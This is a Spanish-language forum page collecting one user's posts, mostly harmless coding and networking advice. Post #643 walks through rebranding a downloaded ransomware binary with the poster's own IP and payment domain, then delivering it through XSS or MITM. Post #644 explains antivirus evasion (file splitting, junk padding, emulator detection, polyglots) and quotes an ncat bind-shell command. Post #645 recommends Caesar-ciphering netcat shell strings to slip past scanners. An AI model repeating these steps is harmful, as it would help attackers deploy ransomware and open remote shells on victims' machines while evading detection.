Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - @XSStringManolo

#641
Te dejo una lista de ideas.

1. Un Portfolio.

2. Tu Sitio Web en un hosting.

3. Tracker Web

4. Algo con gráficas. Puedes escrapear datos del Coronavirus actualizados. Hazlo sin libs o tienes d3.js entre otras.

5. Juego de cualquier tipo, plataformas son fáciles, o de preguntas tipo 50x15 o mira alfgún concurso de la tele y lo programas.

6. Juego de música, un instrumento o algo.

7. Organizador de info

8. Novela gráfica 3D tipo RPG con webGL/threejs, canvas o graficos en svg/html

9. Proxyweb

10 App test-to-speach
#642
Un criptominer en webassembler y javascript.
#643
Ando haciendo un exploit kit en javascript. Os dejo un de los componentes que estoy haciendo por si os es útil.

Es un editor de hexadecimal que permite generar binarios.

Cómo funciona?
-Abres la página/programa. (Funciona 100% offline)
-Seleccionas tu archivo. (Por ejemplo un binario de linux)
-Chequeas lo que quieras modificar del hex. (Tienes el ASCII como referencia.
-Modificas el hex y le das a Compile.
-Se descargará el nuevo binario.
-Lo ejecutas.

Codigo en github
Live

Ejemplo 1:
Me descargo un ransomware compilado por la red.
Lo subo a la página.
En el ransomware se pide la llave a una IP hardcodeada, y tiene hardcodeada una página en donde hacer el pago.
Busco esos 2 strings en el ASCII.
Busco la equivalencia en el HEX.
Modifico el HEX para poner mi IP y mi dominio malicioso.
Le doy a compilar y ya tengo el Binario listo.

Combínalo con un XSS o MITM para substituir una descarga legítima por tu binario.
#644
El principal mecanismo de los antivirus son las firmas.

Sin complicar mucho la historia viene siendo lo siguiente.
Imagínate el código en C:
system("ncat -l -k 127.0.0.1 9091 -e /bin/sh");

El av tendrá en su base de datos:
2D65 202F 6269 6E2F 7368

Entonces chequeará todo el binario e irá contrastando según el tipo de binario, arquitectura... Si encuentra el hex significa que en el binario hay un string -e /bin/sh
Quizás con eso no salte. Pero revisando también encuentra el comando ncat, una ip que no tiene en su base de datos, un programa no conocido...
Irá subiendo la puntuación de peligrosidad y llegado el momento cancelará la ejecución y pasará a cuarentena.

Pasa lo propio con componentes comunes. Por ejemplo un módulo de un programa de python cuya función es escalar privilegios puede tener un hash por ejemplo md5 en la base de datos del antivirus y al encontrarlo en tu programa saben que estás usando un componente malicioso.

Esto obviamente es lo más sencillo y rápido en cuanto a detección se refiere.

Otro método de detección común es el checksum. Puede por ejemplo aplicar un checksum a un archivo, componente... y si intentas modificar algún archivo de la instalación el checksum no coincidirá y se intentará seguir el árbol de procesos para saber que software es el causante de los cambios.
Lo mismo pasa con programas populares. Se puede tener en la base de datos del av muchas piezas esenciales del producto para detectar cambios.

Algo gracioso de estos métodos de detección es que el cambio de un solo byte en tu malware puede tirarles al traste la detección xDDD
Hay un video muy cachondo por ahí de esto. Pilla un rootkit en github, lo compilan lo mandan a virustotal y lo detecta 30av. Le cambia un 20 por un 21 y solo lo detectan 2 av xD

Otro método de detección común creo que lo comentaste tú en otro post y es el control flow. Básicamente miran las entradas y salidas y en base a ello hacen la detección. También las llamadas para saber desde donde se llama y a que. En estos casos por mucho que modiques los bloques de código ya te tienen el malware fichado.

El método más sencillo para evitar las detecciones es divir el código en trozos para saber exactamente que es lo que se detecta. Sabiendo eso, automáticamente puedes deducir los posibles métodos de detección que usa el AV para utilizar lo que se te ocurra para evadirlo.
No tiene mucha ciencia, metes el archivo a trozos en una carpeta y le pasas el AV.

Otro método es analizar el propio AV ya sea para evadirlo o para cargártelo. Esto ya es más avanzado pero hay mucho material disclosed por ahí.

Otro es engordar el malware con basura, meterle bucles de minutos, etc. Muchos AV lo dejarán estar.

Las fechas también son importantes. Hay malware del 2000 que se sigue descargando y tienen la fecha de buildeo original. Algunos AV lo usan para confirmar que se trata de X malware.

Los intérpretes a veces son muy útiles. Puedes romper todo el análisis estático solo con un intérprete y código cifrado en texto.

En el caso de análisis dinámico se usan emuladores, ya que si no, podrían infectar el sistema corriendo malware para su análisis. Esto quiere decir que simulan el entorno, pero obivamente hay incongruencias entre el host emulado y la máquina real.
Puedes detectar emuladores programáticamente cargando componentes y librerías no implementadas.

También puedes jugar con instrucciones poco documentadas para cargarte el dissasembles del av.

Un método muy chulo son los polyglotas. Puedes confundir a los av que nk sabrán exactamente que tipo de archivo es.

Por ponerte un ejemplo de esto, un usuario puede abrie de forma determinada con Chrome los archivos pdf. Ese archivo puede a su vez ser un archivo html, un ejecutable y demás. No necesariamente el antivirus sabe como el usuario va a interpretar el archivo. Esto da mucho juego con javascript, ya que se puede ejecutar en whs, navegadores, lectores de pdf, lectores de html, programas de oficina...

Para probar tus creaciones deberías tener una máquina 100% offline. Si lls andas subiendo los acabarán analizando y añadiendo a la lista. Lo mejor es que te descarges un montón de av y los uses offline para saltártelos.


#645
Cita de: lBoreal en  6 Abril 2020, 05:06 AM
Real, lo verifiqué el otro día. Hice una app de consola que tenía dos lineas (creaban un regisstro de windows)

La corrí en virus total y no la detectaba nadie, le pasé el packer y chau.. los packers, crypters públicos no sirven para nada, habrá que ponerse a programar uno que haga cosas diferentes.. de todas maneras las llamadas a las diferentes API parece que no se pueden esconder, Windows Defender me está haciendo la vida imposible.

Estoy intentando encontrarle la vuelta.. claramente con ingeniería social eso está resuelto, la gente con tal de usar un programa te desactiva todo.. pero no es la idea
Ve modificando el código para saber que es exactamente lo que salta y modifica esos trozos para hacer lo mismo de otra forma. O tira de debugger. A veces con una simple ofuscación basta. Muchos av son prácticamente solo análisis stático. Te miran el binario y si encuentran strings como "netcat 123.123.12 -e cmd" ya te saltan. Le pasas un cesar y listo. "ofudbu 123.123.12 -f dne". Es probable que incluso encuentren similitudes con hashes de otros malware creados por otros de forma similar y que tienen en la base de datos.
#646
Estoy abriendo binarios con html e imprimiendo el hex equivalente. También quiero añador la versión en string.

El problema lo tengo principalmente intentando editar el hex tras escribirlo en pantalla. Lo metí en un div con contentEditable pero al pulsar doble click se freezea por el tamaño del archivo.

Sabeis como puedo dejar al usuario editar el HexDump en el navegador si que pete por tamaño?

Solo se me ocurre dividir en muchos trozos pequeños editables, pero igual hay alguna forma más "correcta" o eficiente de trabajar con archivos muy grandes de texto.


#647
Redes / Re: Hola!! :)
5 Abril 2020, 17:48 PM
Cita de: engel lex en  5 Abril 2020, 13:47 PM
no entendi la recomendacion XD creo que te equivocaste de post XD
No puedes aprender seguridad web si no sabes montar un servidor, una pagina, como funciona todo lo relacionado. Quemar sistema linux, instalar software en linux, servidores, ips, lenguajes...
#648
Redes / Re: Hola!! :)
5 Abril 2020, 06:55 AM
Crea una página web, monta tu servidor linux para alojarla ya sea directamente en el pc o con máquina virtual, ponlo live para que la puedan ver tus amigos.
#649
Sin comprobaciones lo más básico que se me ocurre:
Código (cpp) [Seleccionar]
if(diaHoy<diaN)++mesN;
if(mesHoy<mesN)++anhoN;
cout<<"Tienes  "<<anhoHoy-anhoN<<" años."


#650
El servidor proxy rechaza las conexiones es un mensaje estandar que puede ser causado por motivos muy diversos. Uno de los más comunes es que no tengas conexión a internet por culpa de tu ISP.

Solo te pasa con firefox? Probaste con otros navegadores? Prueba con curl a ver que pasa.

Chequea tus interfaces de red, prueba con cable en vez de wi-fi... Ve así descartando problemas en varios grupos para averiguar cual es el problema.

Descarta problemas con tu red doméstica por ejemplo conectando tu móvil al wi-fi. Si te va perfecto ya puedes descartar que sea problema de tu conexión de red.

Prueba otro navegador para descartarlo.

Prueba conectándote por cable para descartar problemas con el adaptador wireless, drivers o configuración.

Captura y analiza el tráfico.

Prueba reseteando el router de fábrica.

Comprueba si es un problema casual.

Pregunta a vecinos o amigos en la misma compañía si les sucede lo mismo...

Al final sabes exactamente lo que es si vas descartando de problemas más generales a más concretos.